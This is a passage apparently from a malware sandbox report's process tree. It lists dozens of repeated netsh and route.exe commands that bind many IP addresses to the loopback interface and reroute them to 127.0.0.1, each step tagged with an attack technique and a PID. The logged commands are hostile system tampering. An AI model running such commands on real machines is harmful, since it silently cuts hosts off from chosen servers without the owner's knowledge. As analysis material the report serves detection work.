  "route.exe" add 104.21.32.43 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4656
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.34.28 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1540
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.34.28
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.34.28 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2596
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.38.108 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1052
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.38.108
  2⤵
  PID:3396
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.38.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.4.133 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1856
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.4.133
  2⤵
  PID:5016
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.4.133 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.42.238 255.255.255.255
  2⤵
  PID:4224
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.42.238
  2⤵
  PID:1772
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.42.238 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2416
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.43.9 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.43.9
  2⤵
  PID:4380
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.43.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3728
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.47.14 255.255.255.255
  2⤵
  PID:3872
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.47.14
  2⤵
  PID:4136
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.47.14 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:456
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.51.212 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4856
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.51.212
  2⤵
  PID:4156
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.51.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2508
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.53.194 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3436
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.53.194
  2⤵
  PID:3412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.53.194 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:840
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.59.125 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3824
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.59.125
  2⤵
  PID:4584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.59.125 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.61.200 255.255.255.255
  2⤵
  PID:872
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.61.200
  2⤵
  PID:1308
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.61.200 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1104
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.71.80 255.255.255.255
  2⤵
  PID:1800
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.71.80
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.71.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4820
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.78.212 255.255.255.255
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.78.212
  2⤵
  PID:4256
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.78.212 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4936
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.244.5 255.255.255.255
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.24.244.5
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.24.244.5 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4652
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.24.33.36 255.255.255.255
  2⤵
  PID:2416
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.24.33.36
  2⤵
  PID:4744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.24.33.36 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2332
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.152.66 255.255.255.255
  2⤵
  PID:432
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.152.66
  2⤵
  PID:1356
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.152.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4204
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.153.110 255.255.255.255
  2⤵
  PID:4696
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.153.110
  2⤵
  PID:1080
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.153.110 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1596
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.25.18.105 255.255.255.255
  2⤵
  PID:1808
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.25.18.105
  2⤵
  PID:2032
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.25.18.105 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3336
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.26.13.144 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4852
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.26.13.144
  2⤵
  PID:4996
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.26.13.144 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1120
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.193.156 255.255.255.255
  2⤵
  PID:2312
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.27.193.156
  2⤵
  PID:1872
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.27.193.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1504
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.27.90.111 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1964
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.27.90.111
  2⤵
  PID:3112
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.27.90.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1144
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.54.223.230 255.255.255.255
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.54.223.230
  2⤵
  PID:4052
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.54.223.230 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4332
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.10 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1764
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.63.15.10
  2⤵
  PID:2548
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.63.15.10 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4228
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 106.63.15.9 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4512
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 106.63.15.9
  2⤵
  PID:1656
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 106.63.15.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2060
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 107.149.250.26 255.255.255.255
  2⤵
  PID:4300
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 107.149.250.26
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 107.149.250.26 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1992
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 110.42.45.175 255.255.255.255
  2⤵
  PID:4136
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 110.42.45.175
  2⤵
  PID:4056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 110.42.45.175 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4696
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 112.213.116.42 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:464
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 112.213.116.42
  2⤵
  PID:1920
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 112.213.116.42 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1996
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.12.18 255.255.255.255
  2⤵
  PID:4084
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.12.18
  2⤵
  PID:3816
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.12.18 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3116
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.220 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2852
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.36.220
  2⤵
  PID:4812
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.36.220 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3456
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.36.65 255.255.255.255
  2⤵
  PID:872
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.36.65
  2⤵
  PID:1104
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.36.65 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4352
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 114.66.62.149 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4968
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 114.66.62.149
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 114.66.62.149 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 119.188.164.109 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4052
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 119.188.164.109
  2⤵
  PID:4232
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 119.188.164.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:388
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 120.55.192.78 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4860
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 120.55.192.78
  2⤵
  PID:5104
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 120.55.192.78 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2824
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 123.206.101.228 255.255.255.255
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 123.206.101.228
  2⤵
  PID:1480
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 123.206.101.228 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4104
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.212.191 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4828
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 124.222.212.191
  2⤵
  PID:4212
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 124.222.212.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:456
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 124.222.67.215 255.255.255.255
  2⤵
  PID:4912
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 124.222.67.215
  2⤵
  PID:3296
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 124.222.67.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2616
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 125.77.172.237 255.255.255.255
  2⤵
  PID:2820
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 125.77.172.237
  2⤵
  PID:2032
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 125.77.172.237 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3788
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 137.175.126.218 255.255.255.255
  2⤵
  PID:3964
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 137.175.126.218
  2⤵
  PID:1736
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 137.175.126.218 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2996
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 144.48.241.246 255.255.255.255
  2⤵
  PID:1548
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 144.48.241.246
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 144.48.241.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.12.54.134 255.255.255.255
  2⤵
  PID:4352
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.12.54.134
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.12.54.134 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.199.36.208 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3212
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.199.36.208
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.199.36.208 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4644
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.201.71.15 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3696
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.201.71.15
  2⤵
  PID:5104
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.201.71.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 154.36.174.60 255.255.255.255
  2⤵
  PID:3288
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 154.36.174.60
  2⤵
  PID:780
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 154.36.174.60 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.11 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2700
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.11
  2⤵
  PID:3848
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.11 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1920
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.111 255.255.255.255
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.111
  2⤵
  PID:1996
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.111 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3816
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.122 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:952
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.122
  2⤵
  PID:948
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.122 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4916
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.123 255.255.255.255
  2⤵
  PID:4928
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.123
  2⤵
  PID:4656
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4900
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.150 255.255.255.255
  2⤵
  PID:1952
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.150
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.150 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1840
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.156 255.255.255.255
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.156
  2⤵
  PID:2548
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4644
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.188 255.255.255.255
  2⤵
  PID:4860
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.188
  2⤵
  PID:4140
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.188 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2696
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.199 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3288
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.199
  2⤵
  PID:2000
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.199 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.22 255.255.255.255
  2⤵
  PID:3448
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.22
  2⤵
  PID:5112
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.22 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3196
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.222 255.255.255.255
  2⤵
  PID:760
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.222
  2⤵
  PID:3108
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.222 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4852
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.233 255.255.255.255
  2⤵
  PID:3964
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.233
  2⤵
  PID:3864
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.233 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.234 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2460
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.234
  2⤵
  PID:836
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.234 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1600
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.239 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3720
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.239
  2⤵
  PID:3052
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.239 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5008
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.247 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4988
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.247
  2⤵
  PID:4208
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.55 255.255.255.255
  2⤵
  PID:2332
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.55
  2⤵
  PID:4828
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.55 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2668
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.66 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3868
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.66
  2⤵
  PID:3448
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.66 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1808
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.80 255.255.255.255
  2⤵
  PID:2228
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.80
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.80 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3616
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.88 255.255.255.255
  2⤵
  PID:2820
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.88
  2⤵
  PID:1704
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.88 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4824
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.97 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.97
  2⤵
  PID:2376
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.97 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3768
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 156.239.237.99 255.255.255.255
  2⤵
  PID:1956
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 156.239.237.99
  2⤵
  PID:4768
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 156.239.237.99 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.129.131 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3256
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.129.131
  2⤵
  PID:5000
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.129.131 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1968
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.132.29 255.255.255.255
  2⤵
  PID:1852
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.132.29
  2⤵
  PID:1044
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.132.29 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.137.135 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3984
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.137.135
  2⤵
  PID:3412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.137.135 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
